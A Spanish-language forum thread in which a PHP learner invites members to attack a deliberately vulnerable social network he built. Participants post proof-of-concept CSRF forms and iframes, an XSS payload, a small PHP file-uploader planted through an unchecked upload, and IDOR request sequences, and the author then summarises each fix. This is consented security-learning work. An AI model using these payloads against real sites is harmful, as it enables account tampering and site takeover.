[RETO] Hackea la red social de Underc0de !

Iniciado por Bartz, Noviembre 16, 2018, 07:50:12 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Noviembre 16, 2018, 07:50:12 PM Ultima modificación: Noviembre 17, 2018, 12:16:20 AM por xyz
Hola a todos !
La cosa es que estoy aprendiendo PHP e hice una red social para Underc0de en la cual pueden probar todas las maldades que se les ocurran.
Por un lado es muy bueno para quienes se inician en el hacking para buscar vulnerabilidades ya que como yo me estoy iniciando en lo que es PHP seguro hay varias vulnerabilidades en la pagina. 

Les agradezco todas las criticas y sugerencias !

Registrense, envien algunas solicitudes y no tengan piedad  :P


Les pido 2 cosas:

       
  • Cuando se registren dejen su nombre de usuario en este post
  • Al encontrar alguna vulnerabilidad o bug comentenlo aqui mismo, ya que la idea es hacer un post de como explotar y fixear dichas vulnerabilidades.




Para ingresar al Reto, les dejo el link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Let the game begin !




Con la fuerza del mar, con la paz del rio


Noviembre 16, 2018, 08:25:59 PM #1 Ultima modificación: Noviembre 16, 2018, 10:37:17 PM por xyz
hielasangre es el nick con el que me registre. A priori hay un erro de diseño e implementación:
El login permite la enumeración de usuarios validos, ya que si pongo un usuario que no existe dice "usuario inexistente", en cambio si pongo un usuario existente, con una contraseña equivocada me dice que el error es la contraseña... Entonces puedo adivinar los users, y este error (minimo) desemboca en otro, en la fuerza bruta de usuarios, ya que cuando no se puede entrar con un usuario valido, dice que la clave es incorrecta, y al no tener captcha se puede automatizar.
De momento solo eso, pero ya veré que mas se me ocurre.




Al no contar los likes con un token de validación o algo similar, con este sencillo código, las personas que visiten un link le darían like sin darse cuenta.

Código: php
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>

Noviembre 16, 2018, 09:58:01 PM #2 Ultima modificación: Noviembre 16, 2018, 10:02:42 PM por Bartz
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Al no contar los likes con un token de validación o algo similar, con este sencillo código, las personas que visiten un link le darían like sin darse cuenta.

Código: php
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>

Eso funcionaria solo si se encuentran logueados en su cuenta, la funcion de agregar me gusta requiere el codigo de usuario que esta en la variable global $_SESSION




Con la fuerza del mar, con la paz del rio


ah ok! entonces voy a crearme un usuario de pruebas, para poder hacer las pruebas bien :D

Código: php

Linux us-imm-web139.main-hosting.eu 3.10.0-714.10.2.lve1.5.19.3.el7.x86_64 #1 SMP Tue Aug 7 21:33:29 EDT 2018 x86_64

/home/u481171016/domains/afaik.cf/public_html/socialc0de/



Nick: Hack666, hasta donde puedo apreciar la aplicación no valida el MIME type del archivo, por lo que se puede subir prácticamente cualquier tipo de archivo como foto de perfil. (probado con XML, MD). De todas formas como es blackbox, me dirás si los archivos fueron subidos o no. (validar mime type)

Btw: solo a manera de recomendación, ya que me gustó bastante todo, sería genial que la pusieras en github o hacer un review para linkedin, uno nunca sabe cuando proyectos como este puedan darte una buena oportunidad laboral.
"Cuando se nace pobre, estudiar es el mayor acto de rebeldía contra el sistema. El saber rompe las cadenas de la esclavitud" -Tomas Bulat.

Permite subir todo tipo de archivos, es por eso que pude realizar ejecución de código de manera arbitraria.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Permite subir todo tipo de archivos, es por eso que pude realizar ejecución de código de manera arbitraria.
Vaya descuido xD
Felicidades bro !!
Ya sale el fixeo de esa vuln asi esto se pone cada vez mejor (:

btw, el error es en el archivo de la foto perfil solamente, no ? osea que en el subir de index.php no te lo permite o si ?




Con la fuerza del mar, con la paz del rio


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Btw: solo a manera de recomendación, ya que me gustó bastante todo, sería genial que la pusieras en github o hacer un review para linkedin, uno nunca sabe cuando proyectos como este puedan darte una buena oportunidad laboral.
Es verdad, es una buena manera de mostrar lo que uno puede hacer.. Gracias por el incentivo @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta :)




Con la fuerza del mar, con la paz del rio


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Permite subir todo tipo de archivos, es por eso que pude realizar ejecución de código de manera arbitraria.
Vaya descuido xD
Felicidades bro !!
Ya sale el fixeo de esa vuln asi esto se pone cada vez mejor (:

btw, el error es en el archivo de la foto perfil solamente, no ? osea que en el subir de index.php no te lo permite o si ?

Asi parece! Creo que solo en el perfil!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
De todas formas como es blackbox, me dirás si los archivos fueron subidos o no. (validar mime type)
si fueron subidos xD




Con la fuerza del mar, con la paz del rio


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Al no contar los likes con un token de validación o algo similar, con este sencillo código, las personas que visiten un link le darían like sin darse cuenta.

Código: php
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>

Eso funcionaria solo si se encuentran logueados en su cuenta, la funcion de agregar me gusta requiere el codigo de usuario que esta en la variable global $_SESSION



Este es un POC de lo que te señalaba, podría ocultar ese frame en algun sitio o enviarselo con alguna mentira a alguno de los usuarios..


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
PoC CSRF



Voy a tener que investigar como solucionar esto ya que no tengo ni idea de porque ocurre xD, en el caso del iframe de dar me gusta me suena claro ya que los parametros se envian por $_GET pero aqui que es por $_POST me has perdido jaja
Te molestaria pasarme el "payload" del boton ?




Con la fuerza del mar, con la paz del rio


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
PoC CSRF



Voy a tener que investigar como solucionar esto ya que no tengo ni idea de porque ocurre xD, en el caso del iframe de dar me gusta me suena claro ya que los parametros se envian por $_GET pero aqui que es por $_POST me has perdido jaja
Te molestaria pasarme el "payload" del boton ?

Si bartz! pare eso estamos, el payload no tiene gran ciencia!

Código: php

<html>
<body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
</body>
</html>




podrias emplear tokens en los formularios! y validar que sean enviados cada vez que mandas un request, de esa manera solucionando un error solucionas los dos :)


FIXED ! :)

A ver que mas se puede encontrar !




Con la fuerza del mar, con la paz del rio


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
PoC CSRF



Voy a tener que investigar como solucionar esto ya que no tengo ni idea de porque ocurre xD, en el caso del iframe de dar me gusta me suena claro ya que los parametros se envian por $_GET pero aqui que es por $_POST me has perdido jaja
Te molestaria pasarme el "payload" del boton ?

Si bartz! pare eso estamos, el payload no tiene gran ciencia!

Código: php

<html>
<body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
</body>
</html>




podrias emplear tokens en los formularios! y validar que sean enviados cada vez que mandas un request, de esa manera solucionando un error solucionas los dos :)
Si por ahi está la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta implementación, sin embargo también he visto a muchas webs poner los tokens en el storage del cliente, si borras ese valor, los tokens nunca cambian ni se validan xD
"Cuando se nace pobre, estudiar es el mayor acto de rebeldía contra el sistema. El saber rompe las cadenas de la esclavitud" -Tomas Bulat.

Noviembre 22, 2018, 12:33:02 PM #17 Ultima modificación: Noviembre 23, 2018, 01:02:41 AM por Nobody
Vuln 1. Execution After Redirect

La red social es vulnerable a EAR, que consta de seguir ejecutando el código de la página luego de una verificación, ejemplo:

Código: php
<?php

$_SESSION['username'] = "user";

if ($_SESSION['username'] !== "admin")
{
header("Location: index.php");
}

echo "Priv8 zone!";

?>


La solución es colocar un exit(); debajo del header location.

Vuln 2. Input Validation

Por lo que vi, las imágenes subidas a las publicaciones se guardan como USERIDnombre_de_la_foto.ext.
Por ejemplo, user id = 1, foto = cat.jpg, resultado = 1cat.jpg
Si yo subo una foto de un gato con el nombre "cat.jpg", y luego, en otra publicación subo una foto de un perro con el mismo nombre (cat.jpg), se sobrescribe la foto anterior.
La solución sería usar algún tipo de ID único, como la función uniqid() de PHP.

Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=ID&&accion=1

Vuln 4. Input Validation
Es posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 3.
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Así mismo, es posible recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Vuln 5. Input Validation
Al registrarse, verifica correctamente si se utiliza un nombre de usuario ya existencia, pero esto no sucede al editar el perfil, pues puedo utilizar usuarios ya registrados (en este caso utilicé el tuyo), bloqueando la cuenta "duplicada", pues, es imposible loguearse.

P.S.: Deberías agregar un captcha al registro, para evitar spambots que creen miles de cuentas a la vez.
POST /socialc0de/registro.php
nombre=&usuario=&contra=&pais=&profesion=&edad=10&registrar=Registrar
Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Noviembre 23, 2018, 08:21:32 PM #18 Ultima modificación: Noviembre 24, 2018, 02:20:10 AM por Bartz
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vuln 1. Execution After Redirect

La red social es vulnerable a EAR, que consta de seguir ejecutando el código de la página luego de una verificación, ejemplo:

Código: php
<?php

$_SESSION['username'] = "user";

if ($_SESSION['username'] !== "admin")
{
header("Location: index.php");
}

echo "Priv8 zone!";

?>


La solución es colocar un exit(); debajo del header location.

Vuln 2. Input Validation

Por lo que vi, las imágenes subidas a las publicaciones se guardan como USERIDnombre_de_la_foto.ext.
Por ejemplo, user id = 1, foto = cat.jpg, resultado = 1cat.jpg
Si yo subo una foto de un gato con el nombre "cat.jpg", y luego, en otra publicación subo una foto de un perro con el mismo nombre (cat.jpg), se sobrescribe la foto anterior.
La solución sería usar algún tipo de ID único, como la función uniqid() de PHP.

Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=ID&&accion=1

Vuln 4. Input Validation
Es posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 3.
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Así mismo, es posible recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Vuln 5. Input Validation
Al registrarse, verifica correctamente si se utiliza un nombre de usuario ya existencia, pero esto no sucede al editar el perfil, pues puedo utilizar usuarios ya registrados (en este caso utilicé el tuyo), bloqueando la cuenta "duplicada", pues, es imposible loguearse.

P.S.: Deberías agregar un captcha al registro, para evitar spambots que creen miles de cuentas a la vez.
POST /socialc0de/registro.php
nombre=&usuario=&contra=&pais=&profesion=&edad=10&registrar=Registrar
Saludos.

Te pasaste hermano ! Me has dado tarea para hacer ! jaja
Gracias por participar ! :)


PD.:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)
A esa no te la cuento porque igual te hubiera aceptado ! jajajaja




Con la fuerza del mar, con la paz del rio


Noviembre 24, 2018, 02:18:17 AM #19 Ultima modificación: Noviembre 24, 2018, 09:13:47 AM por Gabriela
So.. Decidí volcar las vulnerabilidades y arreglos en este mismo post :D

Vuln 1 Cross Site Scripting (XSS)
Importancia: CRITICA
By @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En varios inputs, los datos que se ingresaban no estaban siendo validados, lo que resultaba en la ejecución de codigo albitrario desde el lado del cliente, y cada vez que alguien veia la publicación le saltaba el 'cartelito' del Alert

Ejemplo:


Código: php
<script>alert("Hacker");</script>
<h1>Puedo poner un titulo</h1>


O uno mas complejo en el cual me dejó de regalo un uploader que permitia subir cualquier archivo:

Código: php
<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Archivo subido!</b><br><br>';
}else { echo '<b>Upload Fail!</b><br><br></font>'; } }  ?>

Es mas, de tanto romper su perfil, nuestro amigo ANTRAX tuvo que pedirme que se lo arregle desde la BD porque lo habia destruido por completo  ::)


Solución

Limpiar los valores que se introducen en los inputs.
Para eso se usaron dos funciones, la primera hace uso de htmlentities que permite mostrar en pantalla los caracteres especiales pero los almacena como ASCII en la base de datos, logrando que no tengan efecto en la pagina.
La use dentro de una funcion propia para que si en algun momento tengo que cambiar htmlentities por otra cosa solo cambiarla desde aca y no tener que recorrer todo el codigo

Documentación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
function limpiarentrada($input){
    $clean = htmlentities($input);
    return $clean;
}


La segunda funcion reemplaza cualquier caracter especial por un equivalente o lo elimina, esta fue usada en la parte de 'editar perfil' por ejemplo

Código: php
function sanitize($string) {
    $clean_name = strtr($string, array('Š' => 'S','Ž' => 'Z','š' => 's','ž' => 'z','Ÿ' => 'Y','À' => 'A','Á' => 'A','Â' => 'A','Ã' => 'A','Ä' => 'A','Å' => 'A','Ç' => 'C','È' => 'E','É' => 'E','Ê' => 'E','Ë' => 'E','Ì' => 'I','Í' => 'I','Î' => 'I','Ï' => 'I','Ñ' => 'N','Ò' => 'O','Ó' => 'O','Ô' => 'O','Õ' => 'O','Ö' => 'O','Ø' => 'O','Ù' => 'U','Ú' => 'U','Û' => 'U','Ü' => 'U','Ý' => 'Y','à' => 'a','á' => 'a','â' => 'a','ã' => 'a','ä' => 'a','å' => 'a','ç' => 'c','è' => 'e','é' => 'e','ê' => 'e','ë' => 'e','ì' => 'i','í' => 'i','î' => 'i','ï' => 'i','ñ' => 'n','ò' => 'o','ó' => 'o','ô' => 'o','õ' => 'o','ö' => 'o','ø' => 'o','ù' => 'u','ú' => 'u','û' => 'u','ü' => 'u','ý' => 'y','ÿ' => 'y'));
    $clean_name = strtr($clean_name, array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss', 'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u'));
    $clean_name = preg_replace(array('/\s/', '/\.[\.]+/', '/[^\w_\.\-]/'), array('_', '.', ''), $clean_name);
    $clean_name = strtolower($clean_name);
    return $clean_name;
}


Ya con esto logramos que el proximo que lo intente quede en el intento








Vuln 2 Shell Upload
Importancia: CRITICA
By @hielasangre & @Olger346

Por no haber checkeado el MIME type del archivo a subir se permitia subir cualquier tipo de archivo, Claro está que no iba a ser aprovechado para subir un GIF y no un JPG, sino que iba a ser utilizado para subir una shell que les permitiera tomar control del sitio


Solución
Chequear el tipo de archivo a subir, y solo permitir imagenes

Documentación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Vuln 3 Cross Site Request Forgery (CSRF)
By @hielasangre

La vulnerabilidad permite a un sitio externo enviar peticiones a nuestro sitio, por lo que las personas que visiten un link le darían like a una publicación sin darse cuenta por ejemplo.

Ejemplo y Proof of Concept (POC)

Código: php
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>



Con la misma vulnerabilidad CSRF si el atacante podia enviar un link en el cual permitia cambiar todos los datos del perfil

Código: php
<html>
<body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
</body>
</html>


Gracias por los videos POC @hielasangre

Solución
Utilizar un token en un campo "hidden" para verificar que se este accediendo a los formularios desde el sitio original y no externamente
Material: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Vuln 4 Execution After Redirect
By @Nobody

Esta Vulnerabilidad consta de seguir ejecutando el código de la página luego de una verificación

Ejemplo:

Código: php

    <?php
     
    $_SESSION['username'] = "user";
     
    if ($_SESSION['username'] !== "admin")
    {
            header("Location: index.php");
    }
     
    echo "Priv8 zone!";
     
    ?>


Solución
colocar un exit(); debajo del header location.




Vuln 5 Input Validation
By @Nobody

Por no haberle asignado un nombre unico a cada foto que se subia, si el nombre de una coincidia con una que ya habia sido subida, la imagen se reemplazaba

Solución
Usar un tipo de ID único, agregandole la función uniqid() antes del nombre del archivo a subir




Vuln 6 Insecure Direct Object Reference
By @Nobody

Era posible "auto aceptarse" la solicitud de amistad manipulando los parametros GET de la cabecera

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=VictimaID&&accion=1

Tambien era posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 6
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Solución
Arreglar la funcion que recibe esos parametros asegurandose que sean diferentes al usuario que se encuentra logueado actualmente

Vuln 7 Input Validation
By @Nobody

Se podia recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Solución
Arreglar las consultas a la base de dato para que no introduzcan valores repetidos






Con la fuerza del mar, con la paz del rio